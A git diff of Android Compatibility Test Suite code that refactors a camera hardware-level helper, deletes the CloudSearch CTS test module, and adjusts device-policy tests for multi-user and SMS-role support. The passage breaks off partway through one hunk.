--- a/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/helpers/StaticMetadata.java
@@ -229,6 +229,13 @@
      * at least the desired one (but could be higher)
      */
     public boolean isHardwareLevelAtLeast(int level) {
+        int deviceLevel = getHardwareLevelChecked();
+
+        return hardwareLevelPredicate(deviceLevel, level);
+    }
+
+    // Return true if level1 is at least level2
+    public static boolean hardwareLevelPredicate(int level1, int level2) {
         final int[] sortedHwLevels = {
             CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_LEGACY,
             CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL,
@@ -236,19 +243,19 @@
             CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_FULL,
             CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_3
         };
-        int deviceLevel = getHardwareLevelChecked();
-        if (level == deviceLevel) {
+
+        if (level1 == level2) {
             return true;
         }
 
         for (int sortedlevel : sortedHwLevels) {
-            if (sortedlevel == level) {
+            if (sortedlevel == level2) {
                 return true;
-            } else if (sortedlevel == deviceLevel) {
+            } else if (sortedlevel == level1) {
                 return false;
             }
         }
-        Assert.fail("Unknown hardwareLevel " + level + " and device hardware level " + deviceLevel);
+        Assert.fail("Unknown hardwareLevel " + level1 + " and device hardware level " + level2);
         return false;
     }
 
diff --git a/tests/cloudsearch/Android.bp b/tests/cloudsearch/Android.bp
deleted file mode 100644
index 99e7329..0000000
--- a/tests/cloudsearch/Android.bp
+++ /dev/null
@@ -1,35 +0,0 @@
-// Copyright (C) 2022 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
-    name: "CtsCloudSearchServiceTestCases",
-    defaults: ["cts_defaults"],
-    static_libs: [
-        "androidx.annotation_annotation",
-        "compatibility-device-util-axt",
-        "ctstestrunner-axt",
-        "truth-prebuilt",
-    ],
-    srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-    sdk_version: "test_current",
-}
diff --git a/tests/cloudsearch/AndroidManifest.xml b/tests/cloudsearch/AndroidManifest.xml
deleted file mode 100644
index e063ee4..0000000
--- a/tests/cloudsearch/AndroidManifest.xml
+++ /dev/null
@@ -1,43 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.cloudsearch.cts"
-          android:targetSandboxVersion="2">
-
-    <uses-permission android:name="android.permission.MANAGE_CLOUDSEARCH"/>
-
-    <application>
-        <service android:name=".CtsCloudSearchService"
-                 android:exported="true"
-                 android:label="CtsDummyCloudSearchService">
-            <intent-filter>
-                <!-- This constant must match CloudSearchService.SERVICE_INTERFACE -->
-                <action android:name="android.service.cloudsearch.CloudSearchService"/>
-            </intent-filter>
-        </service>
-
-        <uses-library android:name="android.test.runner"/>
-
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:label="CTS tests for the App CloudSearch System APIs."
-                     android:targetPackage="android.cloudsearch.cts">
-    </instrumentation>
-
-</manifest>
diff --git a/tests/cloudsearch/AndroidTest.xml b/tests/cloudsearch/AndroidTest.xml
deleted file mode 100644
index 1ede8e7..0000000
--- a/tests/cloudsearch/AndroidTest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2022 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CloudSearch CTS tests.">
-    <option name="test-suite-tag" value="cts"/>
-    <option name="config-descriptor:metadata" key="component" value="framework"/>
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app"/>
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi"/>
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user"/>
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true"/>
-        <option name="test-file-name" value="CtsCloudSearchServiceTestCases.apk"/>
-    </target_preparer>
-
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest">
-        <option name="package" value="android.cloudsearch.cts"/>
-        <!-- 20x default timeout of 600sec -->
-        <option name="shell-timeout" value="12000000"/>
-    </test>
-
-</configuration>
diff --git a/tests/cloudsearch/OWNERS b/tests/cloudsearch/OWNERS
deleted file mode 100644
index 27493ba..0000000
--- a/tests/cloudsearch/OWNERS
+++ /dev/null
@@ -1,3 +0,0 @@
-# Bug component: 758286
-huiwu@google.com
-srazdan@google.com
diff --git a/tests/cloudsearch/TEST_MAPPING b/tests/cloudsearch/TEST_MAPPING
deleted file mode 100644
index 8706339..0000000
--- a/tests/cloudsearch/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsCloudSearchServiceTestCases"
-    }
-  ]
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java
deleted file mode 100644
index 1b6d8b6..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchManagerTest.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import static org.junit.Assert.assertNotNull;
-
-import android.app.cloudsearch.CloudSearchManager;
-import android.app.cloudsearch.SearchRequest;
-import android.app.cloudsearch.SearchResponse;
-import android.content.Context;
-import android.os.Process;
-import android.util.Log;
-
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.RequiredServiceRule;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Tests for {@link CloudSearchManager}
- *
- * atest CtsSmartspaceServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class CloudSearchManagerTest implements CloudSearchManager.CallBack {
-
-    private static final String TAG = "CloudSearchManagerTest";
-    private static final boolean DEBUG = true;
-
-    private static final long SERVICE_LIFECYCLE_TIMEOUT_MS = 40_000;
-
-    @Rule
-    public final RequiredServiceRule mRequiredServiceRule =
-            new RequiredServiceRule(Context.CLOUDSEARCH_SERVICE);
-
-    private CloudSearchManager mManager;
-    private CtsCloudSearchService.Watcher mWatcher;
-
-    @Before
-    public void setUp() throws Exception {
-        mWatcher = CtsCloudSearchService.setWatcher();
-        mManager = getContext().getSystemService(CloudSearchManager.class);
-        setService(CtsCloudSearchService.SERVICE_NAME);
-
-        mManager.search(CloudSearchTestUtils.getBasicSearchRequest(""),
-                Executors.newSingleThreadExecutor(), this);
-        await(mWatcher.created, "Waiting for onCreate()");
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        Log.d(TAG, "Starting tear down, watcher is: " + mWatcher);
-        setService(null);
-        mWatcher = null;
-        CtsCloudSearchService.clearWatcher();
-    }
-
-    @Test
-    public void testCloudSearchServiceConnection() {
-        assertNotNull(mManager);
-        await(mWatcher.queried, "Waiting for search()");
-    }
-
-    @Test
-    public void testSuccessfulSearch() {
-        assertNotNull(mManager);
-        await(mWatcher.queried, "Waiting for search()");
-        mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Successful"),
-                Executors.newSingleThreadExecutor(), this);
-        await(mWatcher.succeeded, "Waiting for successful search");
-    }
-
-    @Test
-    public void testUnsuccessfulSearch() {
-        assertNotNull(mManager);
-        await(mWatcher.queried, "Waiting for search()");
-        mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Unsuccessful"),
-                Executors.newSingleThreadExecutor(), this);
-        await(mWatcher.failed, "Waiting for unsuccessful search");
-    }
-
-    // TODO(b/231624083): Content missing in CtsCloudSearchTestCases during platform updates
-    @Test
-    public void testMultipleCallbacksSearch() {
-        assertNotNull(mManager);
-        await(mWatcher.queried, "Waiting for search()");
-        mManager.search(CloudSearchTestUtils.getBasicSearchRequest("Unsuccessful and Successful"),
-                Executors.newSingleThreadExecutor(), this);
-        // TODO(216520546) add a condition to send a SearchRequest without
-        //  CtsCloudSearchServiceas a provider.
-        await(mWatcher.failed, "Waiting for unsuccessful search");
-        await(mWatcher.succeeded, "Waiting for successful search");
-    }
-
-    private void setService(String service) {
-        Log.d(TAG, "Setting cloudsearch service to " + service);
-        int userId = Process.myUserHandle().getIdentifier();
-        if (service != null) {
-            runShellCommand("cmd cloudsearch set temporary-service "
-                    + userId + " " + service + " 60000");
-        } else {
-            runShellCommand("cmd cloudsearch set temporary-service " + userId);
-        }
-    }
-
-    private void await(@NonNull CountDownLatch latch, @NonNull String message) {
-        try {
-            assertWithMessage(message).that(
-                    latch.await(SERVICE_LIFECYCLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)).isTrue();
-        } catch (InterruptedException e) {
-            Thread.currentThread().interrupt();
-            throw new IllegalStateException("Interrupted while: " + message);
-        }
-    }
-
-    private void runShellCommand(String command) {
-        Log.d(TAG, "runShellCommand(): " + command);
-        try {
-            SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
-        } catch (Exception e) {
-            throw new RuntimeException("Command '" + command + "' failed: ", e);
-        }
-    }
-
-    @Override
-    public void onSearchSucceeded(SearchRequest request, SearchResponse response) {
-        if (response.getStatusCode() == SearchResponse.SEARCH_STATUS_OK) {
-            mWatcher.succeeded.countDown();
-        }
-    }
-
-    @Override
-    public void onSearchFailed(SearchRequest request, SearchResponse response) {
-        if (response.getStatusCode() == SearchResponse.SEARCH_STATUS_NO_INTERNET) {
-            mWatcher.failed.countDown();
-        }
-    }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java b/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java
deleted file mode 100644
index ebcf967..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/CloudSearchTestUtils.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cloudsearch.cts;
-
-import android.app.cloudsearch.SearchRequest;
-import android.app.cloudsearch.SearchResponse;
-import android.os.Bundle;
-
-public class CloudSearchTestUtils {
-    public static SearchRequest getBasicSearchRequest(String query) {
-        final int rn = 20;
-        final int offset = 0;
-        Bundle constraints = new Bundle();
-        constraints.putBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION,
-                true);
-
-        return new SearchRequest.Builder(query).setResultNumber(rn)
-                .setResultOffset(offset).setSearchConstraints(constraints).build();
-    }
-
-    public static SearchResponse getSearchResponse(int searchStatusCode) {
-        return new SearchResponse.Builder(searchStatusCode).build();
-    }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java
deleted file mode 100644
index 5966d95..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchRequestTest.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.cloudsearch.SearchRequest;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@link SearchRequest}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchRequestTest {
-
-    private static final String TAG = "CloudSearchTargetTest";
-
-    @Test
-    public void testCreateSearchRequest() {
-        final String query = "bo";
-        final int rn = 20;
-        final int offset = 0;
-        final float maxLatency = 100;
-        Bundle constraints = new Bundle();
-        constraints.putBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION,
-                true);
-        final String pkgName = "android.cloudsearch.cts";
-
-        SearchRequest request = new SearchRequest.Builder("").setResultNumber(rn)
-                .setResultOffset(offset).setSearchConstraints(constraints).setQuery(query)
-                .setMaxLatencyMillis(maxLatency).setCallerPackageName(pkgName).build();
-
-        /** Check the original request. */
-        assertThat(request.getQuery()).isEqualTo(query);
-        assertThat(request.getResultNumber()).isEqualTo(rn);
-        assertThat(request.getMaxLatencyMillis()).isEqualTo(maxLatency);
-        assertThat(request.getResultOffset()).isEqualTo(offset);
-        final Bundle sc = request.getSearchConstraints();
-        assertThat(sc.getBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION))
-                .isEqualTo(true);
-        assertThat(request.getCallerPackageName()).isEqualTo(pkgName);
-
-        Parcel parcel = Parcel.obtain();
-        parcel.setDataPosition(0);
-        request.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        SearchRequest copy = SearchRequest.CREATOR.createFromParcel(parcel);
-        /** Check the copied request. */
-        assertThat(copy.getQuery()).isEqualTo(query);
-        assertThat(copy.getResultNumber()).isEqualTo(rn);
-        assertThat(copy.getMaxLatencyMillis()).isEqualTo(maxLatency);
-        assertThat(copy.getResultOffset()).isEqualTo(offset);
-        final Bundle sccopy = request.getSearchConstraints();
-        assertThat(sccopy.getBoolean(SearchRequest.CONSTRAINT_IS_PRESUBMIT_SUGGESTION))
-                .isEqualTo(true);
-        assertThat(copy.getCallerPackageName()).isEqualTo(pkgName);
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java
deleted file mode 100644
index 5a0e291..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResponseTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.cloudsearch.SearchResponse;
-import android.app.cloudsearch.SearchResult;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for {@link SearchResponse}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchResponseTest {
-
-    private static final String TAG = "CloudSearchTargetTest";
-
-    @Test
-    public void testCreateSearchResponse() {
-        final int status = SearchResponse.SEARCH_STATUS_OK;
-        final String source = "DEFAULT";
-        List<SearchResult> results = new ArrayList<SearchResult>();
-
-        final String titleA = "title a";
-        final String snippetA = "Good Snippet a";
-        final float scoreA = 10;
-        Bundle extraInfosA = new Bundle();
-        extraInfosA.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
-                false);
-        extraInfosA.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
-                "best_app_developer a");
-        SearchResult resultA = new SearchResult.Builder(titleA, extraInfosA)
-                .setSnippet(snippetA).setScore(scoreA).build();
-        results.add(resultA);
-
-        final String titleB = "title B";
-        final String snippetB = "Good Snippet B";
-        final float scoreB = 20;
-        Bundle extraInfosB = new Bundle();
-        extraInfosB.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
-                true);
-        extraInfosB.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
-                "best_app_developer B");
-        SearchResult resultB = new SearchResult.Builder(titleB, extraInfosB)
-                .setSnippet(snippetB).setScore(scoreB).build();
-        results.add(resultB);
-
-        SearchResponse response = new SearchResponse.Builder(SearchResponse.SEARCH_STATUS_UNKNOWN)
-                .setSearchResults(results).setStatusCode(status).build();
-
-        /** Checks the original response. */
-        assertThat(response.getStatusCode()).isEqualTo(status);
-        assertThat(response.getSource()).isEqualTo(source);
-        assertThat(response.getSearchResults().size()).isEqualTo(2);
-        final SearchResult firstResult = response.getSearchResults().get(0);
-        assertThat(firstResult.getTitle()).isEqualTo(titleA);
-        final SearchResult secondResult = response.getSearchResults().get(1);
-        assertThat(secondResult.getTitle()).isEqualTo(titleB);
-
-        Parcel parcel = Parcel.obtain();
-        parcel.setDataPosition(0);
-        response.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        SearchResponse copy = SearchResponse.CREATOR.createFromParcel(parcel);
-
-        /** Checks the copied response. */
-        assertThat(copy.getStatusCode()).isEqualTo(status);
-        assertThat(copy.getSource()).isEqualTo(source);
-        assertThat(copy.getSearchResults().size()).isEqualTo(2);
-        final SearchResult firstResultCopy = copy.getSearchResults().get(0);
-        assertThat(firstResultCopy.getTitle()).isEqualTo(titleA);
-        final SearchResult secondResultCopy = copy.getSearchResults().get(1);
-        assertThat(secondResultCopy.getTitle()).isEqualTo(titleB);
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java b/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java
deleted file mode 100644
index 9dd83f4..0000000
--- a/tests/cloudsearch/src/android/cloudsearch/cts/SearchResultTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cloudsearch.cts;
-
-import static androidx.test.InstrumentationRegistry.getContext;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.app.PendingIntent;
-import android.app.cloudsearch.SearchResult;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Parcel;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Tests for {@link SearchResult}
- *
- * atest CtsCloudSearchServiceTestCases
- */
-@RunWith(AndroidJUnit4.class)
-public class SearchResultTest {
-
-    private static final String TAG = "CloudSearchTargetTest";
-
-    @Test
-    public void testCreateSearchResult() {
-        final String title = "title";
-        final String snippet = "Good Snippet";
-        final float score = 10;
-        Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.android.com"));
-        PendingIntent pendingIntent = PendingIntent.getActivity(getContext(),
-                1, intent, PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
-
-        Bundle extraInfos = new Bundle();
-        extraInfos.putBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER,
-                false);
-        extraInfos.putString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME,
-                "best_app_developer");
-        extraInfos.putParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON, pendingIntent);
-        extraInfos.putParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD, pendingIntent);
-        extraInfos.putString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME,
-                "best_package_name");
-        extraInfos.putDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT, 10);
-
-        SearchResult result = new SearchResult.Builder(title, extraInfos)
-                .setSnippet(snippet).setTitle(title).setExtraInfos(extraInfos)
-                .setScore(score).build();
-
-        /** Checks the original result. */
-        assertThat(result.getTitle()).isEqualTo(title);
-        assertThat(result.getSnippet()).isEqualTo(snippet);
-        assertThat(result.getScore()).isEqualTo(score);
-        final Bundle rExtraInfos = result.getExtraInfos();
-        assertThat(rExtraInfos
-                .getBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER))
-                .isEqualTo(false);
-        assertThat(rExtraInfos
-                .getString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME))
-                .isEqualTo("best_app_developer");
-        assertThat((PendingIntent) rExtraInfos
-                .getParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON))
-                .isEqualTo(pendingIntent);
-        assertThat((PendingIntent) rExtraInfos
-                .getParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD))
-                .isEqualTo(pendingIntent);
-        assertThat(rExtraInfos
-                .getString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME))
-                .isEqualTo("best_package_name");
-        assertThat(rExtraInfos
-                .getDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT))
-                .isEqualTo(10);
-
-        Parcel parcel = Parcel.obtain();
-        parcel.setDataPosition(0);
-        result.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        SearchResult copy = SearchResult.CREATOR.createFromParcel(parcel);
-        /** Checks the copied result. */
-        assertThat(copy.getTitle()).isEqualTo(title);
-        assertThat(copy.getSnippet()).isEqualTo(snippet);
-        assertThat(copy.getScore()).isEqualTo(score);
-        final Bundle rExtraInfosCopy = copy.getExtraInfos();
-        assertThat(rExtraInfosCopy
-                .getBoolean(SearchResult.EXTRAINFO_APP_CONTAINS_IAP_DISCLAIMER))
-                .isEqualTo(false);
-        assertThat(rExtraInfosCopy
-                .getString(SearchResult.EXTRAINFO_APP_DEVELOPER_NAME))
-                .isEqualTo("best_app_developer");
-        assertThat((PendingIntent) rExtraInfosCopy
-                .getParcelable(SearchResult.EXTRAINFO_ACTION_INSTALL_BUTTON))
-                .isEqualTo(pendingIntent);
-        assertThat((PendingIntent) rExtraInfosCopy
-                .getParcelable(SearchResult.EXTRAINFO_ACTION_APP_CARD))
-                .isEqualTo(pendingIntent);
-        assertThat(rExtraInfosCopy
-                .getString(SearchResult.EXTRAINFO_APP_PACKAGE_NAME))
-                .isEqualTo("best_package_name");
-        assertThat(rExtraInfosCopy
-                .getDouble(SearchResult.EXTRAINFO_APP_INSTALL_COUNT))
-                .isEqualTo(10);
-
-        parcel.recycle();
-    }
-}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
index 2c3934c..bdf4bc6 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CloneProfileDeviceOwnerTest.java
@@ -27,6 +27,7 @@
 import com.android.bedstead.harrier.BedsteadJUnit4;
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
+import com.android.bedstead.harrier.annotations.RequireMultiUserSupport;
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasDeviceOwner;
 import com.android.bedstead.harrier.annotations.enterprise.EnsureHasNoDeviceOwner;
@@ -52,6 +53,7 @@
     @EnsureHasDeviceOwner
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
     @RequireRunOnPrimaryUser
+    @RequireMultiUserSupport
     public void createCloneProfile_hasDeviceOwner_fails() {
         assertThrows(NeneException.class,
                 () -> TestApis.users().createUser()
@@ -67,6 +69,7 @@
     @EnsureHasNoDeviceOwner
     @EnsureHasPermission(MANAGE_PROFILE_AND_DEVICE_OWNERS)
     @RequireRunOnPrimaryUser
+    @RequireMultiUserSupport
     public void createCloneProfile_noDeviceOwner_succeeds() {
         UserReference cloneUser = TestApis.users().createUser()
                 .parent(TestApis.users().instrumented())
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
index 2688d11..9c2714c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/DefaultSmsApplicationTest.java
@@ -23,6 +23,7 @@
 import static org.testng.Assert.assertThrows;
 
 import android.app.admin.RemoteDevicePolicyManager;
+import android.app.role.RoleManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.provider.Telephony;
@@ -65,6 +66,7 @@
     private ComponentName mAdmin;
     private RemoteDevicePolicyManager mDpm;
     private TelephonyManager mTelephonyManager;
+    private RoleManager mRoleManager;
 
     @Before
     public void setUp() {
@@ -72,13 +74,15 @@
         mAdmin = dpc.componentName();
         mDpm = dpc.devicePolicyManager();
         mTelephonyManager = sContext.getSystemService(TelephonyManager.class);
+        mRoleManager = sContext.getSystemService(RoleManager.class);
     }
 
     // TODO(b/198588696): Add support is @RequireSmsCapable and @RequireNotSmsCapable
     @Postsubmit(reason = "new test")
     @PolicyAppliesTest(policy = DefaultSmsApplication.class)
     public void setDefaultSmsApplication_works() {
-        assumeTrue(mTelephonyManager.isSmsCapable());
+        assumeTrue(mTelephonyManager.isSmsCapable()
+                || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
         String previousSmsAppName = getDefaultSmsPackage();
         try (TestAppInstance smsApp = sSmsApp.install()) {
             mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -93,7 +97,8 @@
     @Postsubmit(reason = "new test")
     @PolicyDoesNotApplyTest(policy = DefaultSmsApplication.class)
     public void setDefaultSmsApplication_unchanged() {
-        assumeTrue(mTelephonyManager.isSmsCapable());
+        assumeTrue(mTelephonyManager.isSmsCapable()
+                || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
         String previousSmsAppName = getDefaultSmsPackage();
         try (TestAppInstance smsApp = sSmsApp.install()) {
             mDpm.setDefaultSmsApplication(mAdmin, smsApp.packageName());
@@ -108,7 +113,8 @@
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = DefaultSmsApplication.class)
     public void setDefaultSmsApplication_smsPackageDoesNotExist_unchanged() {
-        assumeTrue(mTelephonyManager.isSmsCapable());
+        assumeTrue(mTelephonyManager.isSmsCapable()
+                || (mRoleManager != null && mRoleManager.isRoleAvailable(RoleManager.ROLE_SMS)));
         String previousSmsAppName = getDefaultSmsPackage();
 
         mDpm.setDefaultSmsApplication(mAdmin, FAKE_SMS_APP_NAME);
@@ -135,7 +141,8 @@
     @Postsubmit(reason = "new test")
     @CanSetPolicyTest(policy = DefaultSmsApplication.class)
     public void setDefaultSmsApplication_notSmsCapable_unchanged() {
-        assumeTrue(!mTelephonyManager.isSmsCapable());
